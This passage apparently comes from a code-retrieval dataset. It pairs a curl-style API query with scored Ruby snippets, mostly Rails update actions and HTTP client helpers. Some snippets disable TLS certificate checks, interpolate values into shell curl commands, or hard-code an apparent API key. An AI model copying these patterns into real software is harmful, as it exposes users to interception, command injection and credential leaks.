:unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c37343df2e1459eeab76b3cef8011a15", "score": "0.55399793", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ace4098e966d0149c7086f88b6c781c", "score": "0.55384564", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to(@subject, :notice => 'Tema atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b201606c70ec1be085f588f6d393ddf1", "score": "0.5538117", "text": "def update!(**args)\n @company = args[:company] if args.key?(:company)\n @update_mask = args[:update_mask] if args.key?(:update_mask)\n end", "title": "" }, { "docid": "a92b7650756c92c2620f88b242d52506", "score": "0.55311555", "text": "def update\n @subject_summary = SubjectSummary.find(params[:id])\n\n respond_to do |format|\n if @subject_summary.update_attributes(params[:subject_summary])\n format.html { redirect_to @subject_summary, notice: 'Subject summary was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject_summary.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
5266ce550f0f67e0dff146def4a7904e
DOC curl X GET u your_api_key:
[ { "docid": "72c950f0927cbfda158519b9df99ea40", "score": "0.0", "text": "def get_details(wallet_id)\n\t\t\t\tJuspayCheckout::ExpressCheckout.request(\"/wallets/#{wallet_id}\", 'get')\n\t\t\tend", "title": "" } ]
[ { "docid": "7e921075ba6c38c732a416ca0e61fd33", "score": "0.7301648", "text": "def api_keys; rest_query(:api_key); end", "title": "" }, { "docid": "7e921075ba6c38c732a416ca0e61fd33", "score": "0.7301648", "text": "def api_keys; rest_query(:api_key); end", "title": "" }, { "docid": "aea75941f99a13cd7c74eaf3fa164baa", "score": "0.7131554", "text": "def api_keys\n rest_query(:api_key)\n end", "title": "" }, { "docid": "b9d8771b96ec75bf82afddc84f97ac6b", "score": "0.6986522", "text": "def access_api(url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n file = File.open('bin/key.rb')\n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-host\"] = 'skyscanner-skyscanner-flight-search-v1.p.rapidapi.com'\n request[\"x-rapidapi-key\"] = file.read\n\n response = http.request(request).read_body\n response_hash = JSON.parse(response) \nend", "title": "" }, { "docid": "66b99667863c9e6763780f3925749ddf", "score": "0.6867186", "text": "def request(url, api_key)\n rover = get_data(\"#{url}#{api_key}\")\n\n return rover\nend", "title": "" }, { "docid": "6dd3d402484df13f3f436360a76d8b65", "score": "0.6705342", "text": "def get(path, params={})\n params[:apikey] = self.api_key\n RestClient::Request.execute(\n :method => :get,\n :url => \"#{self.uri}#{path}\",\n :headers => {\n :params => params\n },\n :verify_ssl=> @ssl_verify )\n end", "title": "" }, { "docid": "0c5db2d9c9ef1b21ebc163a26266ba00", "score": "0.66976905", "text": "def request(url,token = nil)\n url = URI(\"#{url}&api_key=#{token}\") # se quita uri y parentesis\n #puts url_string\n \n \n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n request = Net::HTTP::Get.new(url)\n response = https.request(request)\n data = JSON.parse(response.read_body)\n #puts data\nend", "title": "" }, { "docid": "d5b588b2e5e82a95d0b471aaf8d01bbe", "score": "0.66855013", "text": "def rest_get(api_url)\n RestClient::Request.execute(method: :get,\n url: api_url,\n verify_ssl: @verify_ssl).body\n end", "title": "" }, { "docid": "453d3fcc6d5461bcc5ae3124755082a2", "score": "0.66812164", "text": "def get_from_url(conn, key, body)\n res = conn.get do | req |\n # req.headers['x-api-key'] = key\n req.body = body.to_json\n end\n JSON.parse(res.body)\n end", "title": "" }, { "docid": "08401a1e098617da9e1e6b73f55cfadd", "score": "0.6678682", "text": "def request (url_requested, api_key)\n url_builded = url_requested + \"&api_key=\" + api_key\n\n url = URI(url_builded)\n\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n\n request = Net::HTTP::Get.new(url)\n\n response = https.request(request)\n\n JSON.parse(response.read_body)\nend", "title": "" }, { "docid": "a88978f578e369797bdedc1baef19750", "score": "0.6629615", "text": "def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend", "title": "" }, { "docid": "edc545a8b2211a982a3ff5cc10a9fc86", "score": "0.66009784", "text": "def do_get\n Net::HTTP.get(URI.parse(api_url))\n end", "title": "" }, { "docid": "3af8b01d3fcae09f9908ff41ee059cc3", "score": "0.65538055", "text": "def api_get(action, data)\n api_request(action, data, 'GET')\n end", "title": "" }, { "docid": "3af8b01d3fcae09f9908ff41ee059cc3", "score": "0.65538055", "text": "def api_get(action, data)\n api_request(action, data, 'GET')\n end", "title": "" }, { "docid": "c75a12764e6e4a91c3b74ce4a9281fca", "score": "0.65282595", "text": "def get_api_key(key, request_options = {})\n client.get(Protocol.index_key_uri(name, key), :read, request_options)\n end", "title": "" }, { "docid": "6a6199e0ad49e57a0ffff74e3728d304", "score": "0.6525018", "text": "def fetch(api, options = {})\n options = options.dup\n \n unless options.delete(:validate) === false\n validate_options(api, options)\n end\n\n options = options.reverse_merge(\n :api_key => self.api_key,\n :version => self.version\n )\n \n url = create_url(api, options)\n \n begin\n open(url)\n rescue OpenURI::HTTPError => e\n if e.to_s =~ /^401/\n raise InvalidApiKeyError.new(self.api_key)\n else\n raise\n end\n end\n end", "title": "" }, { "docid": "eb06694939e268e76f76291de57ad8e1", "score": "0.6493646", "text": "def to_get_request\n 'get_%ss' % api_name\n end", "title": "" }, { "docid": "fdff835345b774d4baf526dc7bfca772", "score": "0.64885473", "text": "def do_get(url, api_key, password, version)\n begin\n RestClient::Request.new(\n :method => :get,\n :url => url,\n :user => api_key,\n :password => password,\n :ssl_version => 'TLSv1_2',\n :headers => {\n :accept => :json,\n :content_type => :json,\n :user_agent => get_user_agent,\n :'X-EWAY-APIVERSION' => version\n }\n ).execute\n rescue SocketError => e\n raise Exceptions::CommunicationFailureException.new(e.to_s)\n rescue RestClient::Exception => e\n if e.http_code == 401 || e.http_code == 403 || e.http_code == 404\n raise Exceptions::AuthenticationFailureException.new(e.to_s)\n else\n raise Exceptions::SystemErrorException.new(e.to_s)\n end\n end\n end", "title": "" }, { "docid": "b1ac5d0b2adb1666f9b0f2fb6e0058ab", "score": "0.6459733", "text": "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "title": "" }, { "docid": "b1ac5d0b2adb1666f9b0f2fb6e0058ab", "score": "0.6459733", "text": "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "title": "" }, { "docid": "12800641a7efeb2da6bc74dc95bddc2b", "score": "0.64490163", "text": "def parse_api_request(url_endpoint)\n response = RestClient::Request.execute(\n :method => :get,\n :url => url_endpoint,\n :headers => {\"X-Mashape-Key\" => TEST_KEY,\n \"Accept\" => \"application/json\"\n })\n response_hash = JSON.parse(response)[\"api\"]\nend", "title": "" }, { "docid": "a7f55b6ee8382014c8f5550ad9770958", "score": "0.64332366", "text": "def request_api(url)\n begin\n response = RestClient.get(url)\n print(\"response: \", response)\n JSON.parse(response)\n rescue\n return nil\n end\n \n \n end", "title": "" }, { "docid": "90eb7553897b72c42be2c7e83613142b", "score": "0.642669", "text": "def api(uri, request = :get)\n JSON.parse(\n `curl --request #{request.to_s.upcase} -s -S --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"$GITLAB_BASE_URL/api/v4/#{uri}\"`\n )\nend", "title": "" }, { "docid": "51eee04f87a2cd758e7104355251ea8f", "score": "0.63908654", "text": "def apikey(username, password)\n md5 = Digest::MD5.new\n digest = md5.update(password).hexdigest\n\n query = { action: 'apikey', userName: username, password: digest }\n get('apikey', query) { |x| x['apikey'] }\n end", "title": "" }, { "docid": "2b3cd880716b035591b7561d3adb5631", "score": "0.6386139", "text": "def request(url,token = nil)\n url = URI(\"#{url}&api_key=#{token}\")\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n request = Net::HTTP::Get.new(url)\n response = https.request(request)\n return JSON.parse(response.read_body)\n end", "title": "" }, { "docid": "a3fc3d83a30750938c01487c27368e7f", "score": "0.63840306", "text": "def call_gh_api(url)\n auth = \"Bearer #{session[:access_token]}\"\n HTTParty.get(url, headers: { 'Authorization' => auth })\n end", "title": "" }, { "docid": "232b25513091304a27f2747caac15538", "score": "0.63817185", "text": "def call_api\n @client.build_url\n @client.get\n assign_data\n end", "title": "" }, { "docid": "0f80079dc2e14e3e1ac45859386f8094", "score": "0.6340947", "text": "def tx_by_apikey( api_key )\n get(\"/txbyapikey/#{api_key}\")\n end", "title": "" }, { "docid": "0adda54c2558762e9f898706f822c850", "score": "0.63136744", "text": "def request(path, options={})\n response = @connection.get do |req|\n req.url path\n req.params[:api_key] = @access_token\n options.each do |key, val|\n req.params[key] = val\n end\n end\n response.body\n end", "title": "" }, { "docid": "6b33565244c1ec96e94d684c7c70a548", "score": "0.6296086", "text": "def api_key\n key\n end", "title": "" }, { "docid": "1f060f27ec919e5f6b9a2be1eaf52524", "score": "0.6281114", "text": "def api_request(url, user_token)\n request = HTTParty.get(url,\n headers: { 'Accept' => 'application/json',\n 'Authorization' => \"Bearer #{user_token}\" })\n return request\nend", "title": "" }, { "docid": "32e695c6c91a50d87b5814e31650c00b", "score": "0.62738454", "text": "def api_call(path)\n uri = URI(\"#{BASE}/api/#{path}?authorization_username=#{USER}\")\n req = Net::HTTP::Get.new(uri)\n req['Authorization'] = \"Bearer #{TOKEN}\"\n\n res = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|\n http.request(req)\n end\n\n unless res.is_a?(Net::HTTPSuccess)\n puts res.inspect\n exit\n end\n\n return JSON.parse(res.body)\nend", "title": "" }, { "docid": "1be2194e1ae2409b422ae13aa7133fd4", "score": "0.6255598", "text": "def get(api)\n\t\t\tvalidate_api(api)\n\t\t\tparams = set_default_params(api[:params])\n\t\t\tquery = hash_to_querystring(params)\n\t\t\turl = \"#{api[:path]}?#{query}\"\n\t\t\tresponse = @http.get(url)\n\t\t\tputs \"#{response.code} - #{response.message}: #{api[:path]} \"\n\t\t\tcheck_cookie(response)\n\t\t\treport_error(response)\n\t\t\tresponse\n\t\tend", "title": "" }, { "docid": "ed875da38f33ee75915dced21a3b8195", "score": "0.62385905", "text": "def call\n \n # create URI::HTTPS object using the url of the API \n url = URI(\"https://api.covid19api.com/summary\")\n \n # create new Net::HTTP object\n https = Net::HTTP.new(url.host, url.port); \n \n # turn on SSL flag \n https.use_ssl = true\n \n # create Net::HTTP::Get object with the url\n request = Net::HTTP::Get.new(url)\n \n # use the Net::HTTP object to send a request for the information\n # and return the data via a string \n response = https.request(request).read_body\n \n end", "title": "" }, { "docid": "d3811a0ce4c959e5551c47f899f34973", "score": "0.6215245", "text": "def getinfo\n @api.request 'getinfo'\n end", "title": "" }, { "docid": "382b7f5a4f306aaaadeb9001bbdc199e", "score": "0.620353", "text": "def get_response(resource, query_string)\n config = YAML.load(File.read(\"giantbomb.yaml\"))\n api_key = config['api_key']\n api_base = config['api_base']\n return HTTParty.get(\"#{api_base}/#{resource}/?api_key=#{api_key}&format=json&#{query_string}\")\nend", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.6193939", "text": "def api_key; end", "title": "" }, { "docid": "a212508eaa90efbf4c066321cc7dff72", "score": "0.6193939", "text": "def api_key; end", "title": "" }, { "docid": "fbcd8e5b602f5a7a6cba362264c1d4e9", "score": "0.61911714", "text": "def get(url, key)\n _request(url, :GET, key)\n end", "title": "" }, { "docid": "34dcc8ec65d7e99c8102c0b97bd24027", "score": "0.61727244", "text": "def query_api(path)\n with_http_error_handling do\n res = RestClient.get(endpoint + path)\n h = Hash.from_xml(res.body)\n h[\"response\"]\n end\n end", "title": "" }, { "docid": "a9eb21d3cb5d342ddb89a69e519db7c5", "score": "0.6171693", "text": "def get(api, options = {})\n options[:apikey] = SmartSMS.config.api_key\n uri = URI.join(base_url, api)\n result Net::HTTP.get(uri, options)\n end", "title": "" }, { "docid": "dca2ee080c32777b77807e9ddbe2e6ea", "score": "0.6166029", "text": "def info(url)\n rest = RestClient::Request.execute(\n method: :get,\n url: url,\n user: ENV['USER'],\n password: ENV['KEY'],\n headers: {\"Content-Type\" => \"application/json\"}\n )\n JSON.parse(rest, :symbolize_names => true)\n rescue RestClient::Exception\n \"Sorry something went wrong with the API\"\n end", "title": "" }, { "docid": "f14788eca61c3540367bbfa4c6248d14", "score": "0.6163849", "text": "def api(resource, parameters = {})\n res = self.client(resource, parameters).get\n raise \"No response from #{url}!\" if res.body.nil? && res.body.empty?\n Hpricot(res.body)\n end", "title": "" }, { "docid": "b604bcdc73ee46ce9bdf09119e13879d", "score": "0.6145632", "text": "def do_the_get_call(args)\n\tputs \"----- GET: #{args[:url]} -----\"\n\tc = Curl::Easy.new(args[:url]) do |curl|\n\t\tcurl.http_auth_types = :basic\n\t\tcurl.username = args[:user]\n\tend\n\tc.perform\n\tc.body_str\nend", "title": "" }, { "docid": "a25e82ac3368ffb18c7aeee4510591d4", "score": "0.6144615", "text": "def hit_api_direct\n # CollegiateLink API needs some data to be hashed and sent for auth purposes\n time = (Time.now.to_f * 1000).to_i.to_s\n ipaddress = ENV['cl_ipaddress']\n apikey = ENV['cl_apikey']\n privatekey = ENV['cl_privatekey']\n random = SecureRandom.hex\n hash = Digest::SHA256.hexdigest(apikey + ipaddress + time + random + privatekey)\n\n url = ENV['cl_apiurl'] + @resource + \"?time=\" + time + \"&apikey=\" + apikey + \"&random=\" + random + \"&hash=\" + hash + @url_options\n return send_request(url, nil)\n end", "title": "" }, { "docid": "583f62a910e7b8c59b642270ae1da0a6", "score": "0.6143847", "text": "def api_get(path, params = {})\n api_request(:get, path, :params => params)\n end", "title": "" }, { "docid": "2fdcbe43768a3beef90188eabbdafbf9", "score": "0.61351186", "text": "def a_pi_key_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: APIKeyApi.a_pi_key_get ...\"\n end\n # resource path\n local_var_path = \"/apiKey\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'reverse'] = opts[:'reverse'] if !opts[:'reverse'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIKey>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: APIKeyApi#a_pi_key_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e408c287116e81e2f167e65cfba5e776", "score": "0.61174697", "text": "def make_api_call (api_path)\n uri = URI.parse(GPS_CLIENT_SETTINGS[\"url\"] + api_path)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme==\"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n request = Net::HTTP::Get.new(uri.request_uri)\n request['API-SECRET'] = client_secret\n response = http.request(request) \n make_adapter_response(response)\n end", "title": "" }, { "docid": "957c88f52736589353f8dc1e95c22391", "score": "0.6101766", "text": "def http_get(endpoint)\n uri= URI.parse \"#{@main_url}#{endpoint}\"\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@username, @api_key)\n response = http.request(request)\n response.body\nend", "title": "" }, { "docid": "532ab182e4d2dda9b3cd87f5aaf2e3e0", "score": "0.6064868", "text": "def get url\n puts \"COMMUNICATING WITH TOGGL SERVER COMMUNICATING WITH TOGGL SERVER\"\n uri = URI.parse( url )\n http = Net::HTTP.new( uri.host, uri.port )\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth( @api_key, \"api_token\" )\n request[\"Content-Type\"] = \"application/json\"\n response = http.request( request )\n \n if response.code.to_i==200 # OK\n hash = JSON.parse( response.body )\n elsif response.code.to_i==403 # Authentication\n raise Exceptions::AuthenticationError\n else\n puts \"Error, code #{ response.code }.\"\n puts response.body\n end\n end", "title": "" }, { "docid": "a66b79ccff23ce1cdca7f2dd707d4e1e", "score": "0.6060444", "text": "def doCurl(method,path,params)\n # api constants\n domain = 'api.centralindex.com'\n endpoint = '/v1'\n path = endpoint+path\n params['api_key'] = @apiKey\n retval = ''\n\n # create an HTTP connection\n http = Net::HTTP.new(domain) \n if @debugMode\n http.set_debug_output $stderr\n end\n\n if(method == 'get') \n # crazy dance to get urlencode parameters from Ruby\n request = Net::HTTP::Get.new(path) \n request.set_form_data( params, sep = '&' )\n request = Net::HTTP::Get.new( path+ '?' + request.body )\n retval = http.request(request)\n end\n if(method == 'post')\n request = Net::HTTP::Post.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n if(method == 'put')\n request = Net::HTTP::Put.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n if(method == 'delete')\n request = Net::HTTP::Put.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n parsed = JSON.parse(retval.body)\n if(parsed)\n return parsed\n else\n return retval.body\n end\n end", "title": "" }, { "docid": "38d1482c582291bd9075577544535b79", "score": "0.60488355", "text": "def api_fetch(url)\n JSON.parse(RestClient.get url)\nend", "title": "" }, { "docid": "d1a275159b47a71cd1c66ae2fd6a9138", "score": "0.60445833", "text": "def taobao_call(api, params)\n access_params = { \"method\" => api, \n \"timestamp\" => Time.new.to_s(:db),\n \"format\" => \"json\", \n \"app_key\" => $APP_KEY, \n \"v\" => \"2.0\",\n \"sign_method\" => \"md5\"\n }\n params.each{|key, value|\n access_params[key] = value\n }\n access_params[:sign] = sign(access_params, $APP_SECRET)\n p \"#{$PRODUCT_URL + \"?\" + params_to_str(access_params)}\"\n str = `curl '#{$PRODUCT_URL + \"?\" + params_to_str(access_params)}' -k`\n json = ActiveSupport::JSON.decode(str)\n return json\n end", "title": "" }, { "docid": "688e16a9738d967a7e5b2df83070d300", "score": "0.60300696", "text": "def hit_api_local\n # Authentication info\n pass = ENV['stugov_api_user']\n priv = ENV['stugov_api_pass']\n # Our base URL hosted on stugov's server\n base_url = ENV['stugov_api_base_url']\n\n # We make a sha256 hash of this in binary format, then base64 encode that\n digest = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new(\"sha256\"), priv, pass)).chomp\n\n url = base_url + \"?resource=\" + @resource + @url_options\n return send_request(url, digest)\n end", "title": "" }, { "docid": "53d24ee677c923287926ce8e39bb9346", "score": "0.6029661", "text": "def api_key\n 'your_api_key'\nend", "title": "" }, { "docid": "4678a9318e93ee08f1d5ed0ec3654ba1", "score": "0.6027943", "text": "def get_api endpoint\n\turi = URI.parse(\"http://#{@HOST}:#{@HTTP}#{endpoint}\")\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Accept\"] = \"application/json\"\n\toptions = { use_ssl: uri.scheme == \"https\" }\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, options) do |http|\n\t\thttp.request(request)\n\tend\nend", "title": "" }, { "docid": "45786b61efb1f02ea7a19ac3cccd7d0e", "score": "0.6010292", "text": "def perform_get_request\n # Validate preventing request error\n\n # setup params, like API Key if needed\n\n # Perform the request\n get_request\n end", "title": "" }, { "docid": "230d02bf92d493ae88e9bc6752b80019", "score": "0.6006933", "text": "def view_api\n api_string = RestClient.get(\"https://itunes.apple.com/search?term=star+wars&entity=song&attribute=movieTerm\")\n api_hash = JSON.parse(api_string)\n\n end", "title": "" }, { "docid": "a5dd0e427802baf9afc3e6f9e9eb1788", "score": "0.6003516", "text": "def api_get\n handler.get({email: email}, path)\n end", "title": "" }, { "docid": "dd3f8a656313d7c9bc8b0f6c59c204c8", "score": "0.5999672", "text": "def api_key; @opts[:api_key]; end", "title": "" }, { "docid": "7666b0f2448d1f46f73fdbecbb452148", "score": "0.59922075", "text": "def download\n api_url = build_url\n RestClient::Request.execute(method: 'GET', url: api_url, open_timeout: 20)\n end", "title": "" }, { "docid": "81675854aef63e85928296d8eacac236", "score": "0.59866256", "text": "def get(method, args={})\n http = new_http\n\n if api_key\n args[:api_key] = api_key\n end\n\n if api_version\n args[:api_version] = api_version\n end\n\n parts = []\n\n args.each do |key, value|\n if value.instance_of?(Array)\n for part in value\n # what if the part is a structure such as a hash?\n parts << \"#{URI.escape(key.to_s)}[]=#{URI.escape(part.to_s)}\"\n end\n elsif value\n parts << \"#{URI.escape(key.to_s)}=#{URI.escape(value.to_s)}\"\n end\n end\n\n path = '/api/' + method + '?' + parts.join('&')\n request = Net::HTTP::Get.new(path)\n result = invoke(http, request)\n JSON.parse(result.body)\n end", "title": "" }, { "docid": "124bf4b45ee1e5076e872bcb812ff714", "score": "0.59791195", "text": "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "title": "" }, { "docid": "7e48ad081a5dd85ada6dda6b4232e7e4", "score": "0.5975985", "text": "def api_get(function, params = {})\n\t\turi = URI.parse(api_endpoint + function + '?' + params.to_query)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\trequest = Net::HTTP::Get.new(uri.request_uri)\n\t\trequest.basic_auth(api_username, api_password)\n\t\tresponse = http.request(request)\n\t\tJSON.parse response.body\n\tend", "title": "" }, { "docid": "3e686f68349bd946dd8954dadfd12a0a", "score": "0.59706527", "text": "def api_url\n \"#{protocol}://api:#{api_key}@#{host}/#{api_version}\"\n end", "title": "" }, { "docid": "c0385d116953da397b215cd8a12c3ec3", "score": "0.59700227", "text": "def get_data_from_api\n # address1 = address.parameterize('+')\n # state1 = state.parameterize('+')\n # city1 = city.parameterize('+')\n# \trequest_string = \"https://www.googleapis.com/civicinfo/v2/representatives/?address=#{address}%2C+#{city}%2C+#{state}%2C+#{zipcode}&levels=country&roles=legislatorLowerBody&key=AIzaSyDFYpjPCBUVQLyfS39-lBKRWCkD7-u4zug\" \n# \tcreates a url to access API data\n request_string = \"https://www.googleapis.com/civicinfo/v2/representatives/?address=9+Melrose+Dr.%2C+Livingston%2C+NJ%2C+07039&levels=country&roles=legislatorLowerBody&key=AIzaSyDFYpjPCBUVQLyfS39-lBKRWCkD7-u4zug\"\n\tsample_response = HTTParty.get(request_string) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response.body, {:symbolize_names => true}) #makes data easy to read\n puts sample_parsedResponse[:officials][0][:name] \n puts sample_parsedResponse[:officials][0][:party] \n puts sample_parsedResponse[:officials][0][:phones] \n #returns first element in items array\n end", "title": "" }, { "docid": "b317d1b6e9846f3de53d8f0d41d12b08", "score": "0.59695524", "text": "def get(api, params={})\n url2json(:GET, \"#{@endpoint}#{api}\", params)\n end", "title": "" }, { "docid": "7e951c660985b930e35f58e76ea46705", "score": "0.59688973", "text": "def fetch(query)\n # Returns the string if the API key is missing\n raise \"Missing API key\" if ENV['X_RAPIDAPI_KEY'].empty?\n\n # Builds the URL\n url = URI(API_URL + \"?#{query}\")\n\n # Given by UNOGS\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-host\"] = 'unogs-unogs-v1.p.rapidapi.com'\n request[\"x-rapidapi-key\"] = ENV['X_RAPIDAPI_KEY']\n\n # If the API result includes an empty string we get an error and the call\n # execution stops, so we need to retry the request; below we set the code to\n # retry 3 times if we get the JSON::ParserError exception\n attempt_count = 0\n max_attempts = 3\n\n begin\n response = http.request(request)\n attempt_count += 1\n puts \"attempt ##{attempt_count} - #{url}\"\n JSON.parse response.read_body\n rescue JSON::ParserError => e\n puts \"error: #{e}\"\n sleep 3 * attempt_count\n retry if attempt_count < max_attempts\n end\n end", "title": "" }, { "docid": "c6dc68eaa4fb531818646a845950ddf2", "score": "0.5968077", "text": "def api_key\n @key\n end", "title": "" }, { "docid": "7a739f50c24c2e1f6802b79aa39a0d63", "score": "0.5960747", "text": "def get_events_from_api(name)\n #make the web request\n name1 = name\n performer_link = \"https://app.ticketmaster.com/discovery/v2/events.json?keyword=#{name1}&countrycode=US&apikey=ShI4Sd340EJ32f1k6rUgkYPocLSO2qTq\"\n response_string = RestClient.get(performer_link)\n response_hash = JSON.parse(response_string)\nend", "title": "" }, { "docid": "da4d69f4216d6f337078954359e5d85c", "score": "0.5959979", "text": "def get_access\n path = '/v3/oauth/authorize'\n data = \"consumer_key=#{Consumer_key}&code=#{Token}\"\n return pocket_api(path,data)\nend", "title": "" }, { "docid": "cd5de4b7120be3524d688ef7a7670a58", "score": "0.5952233", "text": "def httpget(url, corpNum, userID = '')\n headers = {\n \"x-pb-version\" => KAKAOCERT_APIVersion,\n \"Accept-Encoding\" => \"gzip,deflate\",\n }\n\n if corpNum.to_s != ''\n headers[\"Authorization\"] = \"Bearer \" + getSession_Token(corpNum)\n end\n\n if userID.to_s != ''\n headers[\"x-pb-userid\"] = userID\n end\n\n uri = URI(getServiceURL() + url)\n request = Net::HTTP.new(uri.host, 443)\n request.use_ssl = true\n\n Net::HTTP::Get.new(uri)\n\n res = request.get(uri.request_uri, headers)\n\n if res.code == \"200\"\n if res.header['Content-Encoding'].eql?('gzip')\n JSON.parse(gzip_parse(res.body))\n else\n JSON.parse(res.body)\n end\n else\n raise KakaocertException.new(JSON.parse(res.body)[\"code\"],\n JSON.parse(res.body)[\"message\"])\n end\n end", "title": "" }, { "docid": "fca94fa4454ce5c5c26f28a696c9d737", "score": "0.59511745", "text": "def fetchInstallations(token)\n url = URI(\"https://api.acceptance.hertekconnect.nl/api/v1/installations\")\n\n http = Net::HTTP.new(url.host, url.port);\n http.use_ssl = true\n request = Net::HTTP::Get.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{token}\"\n\n response = http.request(request)\n puts response.read_body\nend", "title": "" }, { "docid": "f19bc85c8f477f52af05283c892d6ced", "score": "0.5935302", "text": "def get(path)\n request = Net::HTTP::Get.new @uri.path+'/'+path\n request.basic_auth @api_key, ''\n request['User-Agent'] = USER_AGENT\n response = @https.request request\n JSON.parse response.body\n end", "title": "" }, { "docid": "1525ae14278496385d72298874413d37", "score": "0.5933307", "text": "def api_query_parameter\n \"?apiKey=#{api_key}&longUrl=#{url}\"\n end", "title": "" }, { "docid": "9050d8eeddd2b36237bfff2ec4adfcf0", "score": "0.5932753", "text": "def get_search_result(url)\n c = Curl::Easy.new(url)\n c.userpwd = BIBLE_KEY + ':X'\n c.perform\n return c.body_str\nend", "title": "" }, { "docid": "9050d8eeddd2b36237bfff2ec4adfcf0", "score": "0.5932753", "text": "def get_search_result(url)\n c = Curl::Easy.new(url)\n c.userpwd = BIBLE_KEY + ':X'\n c.perform\n return c.body_str\nend", "title": "" }, { "docid": "aff3b053e1d540aaa5b42c447d26ebe1", "score": "0.5930045", "text": "def docs api\n\t\tget_html \"#{@options[:docs]}/#{@apis[api][:url]}.htm\"\n\tend", "title": "" }, { "docid": "689d56c5a3a567ef8e91529753fcee31", "score": "0.59265506", "text": "def call(method, params={})\n # Build path\n params[:apikey] = @api_key\n params = params.map { |p| p.join('=') }.join('&').gsub(/\\s/, '%20')\n path = [@uri.path, API_VERSION, method].compact.join('/') << '?' << params\n # Send request\n get = Net::HTTP::Get.new(path)\n response = @http.request(get)\n handleResult response.body\n end", "title": "" }, { "docid": "9be10187c96823e03529b373de3b1ddb", "score": "0.5915155", "text": "def APICall params = {}\n \n path = params[:path]\n method = params[:method] || 'GET'\n payload = params[:payload] || nil\n \n params.delete(:method)\n params.delete(:path)\n params.delete(:payload)\n \n a = Time.now.to_f\n \n http = Net::HTTP.new(@infra[:domain]+'.zendesk.com',443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = true\n \n uri = %{#{@infra[:path]}#{path}}\n uri << '?'+params.map{ |key,val| \"#{key}=#{val}\" }.join('&') if params && params.count > 0\n uri = URI.escape uri\n \n reqs = {\n 'GET' => Net::HTTP::Get.new(uri),\n 'POST' => Net::HTTP::Post.new(uri),\n 'PUT' => Net::HTTP::Put.new(uri),\n 'DELETE' => Net::HTTP::Delete.new(uri)\n }\n req = reqs[method]\n \n content_type = 'application/json'\n content_type = 'application/binary' if path.include? 'uploads'\n req.content_type = content_type\n \n req.basic_auth @username,@infra[:authentication]\n \n req.body = payload if method == 'POST' || method == 'PUT'\n \n response = http.request req\n \n code = response.code.to_f.round\n body = response.body\n \n b = Time.now.to_f\n c = 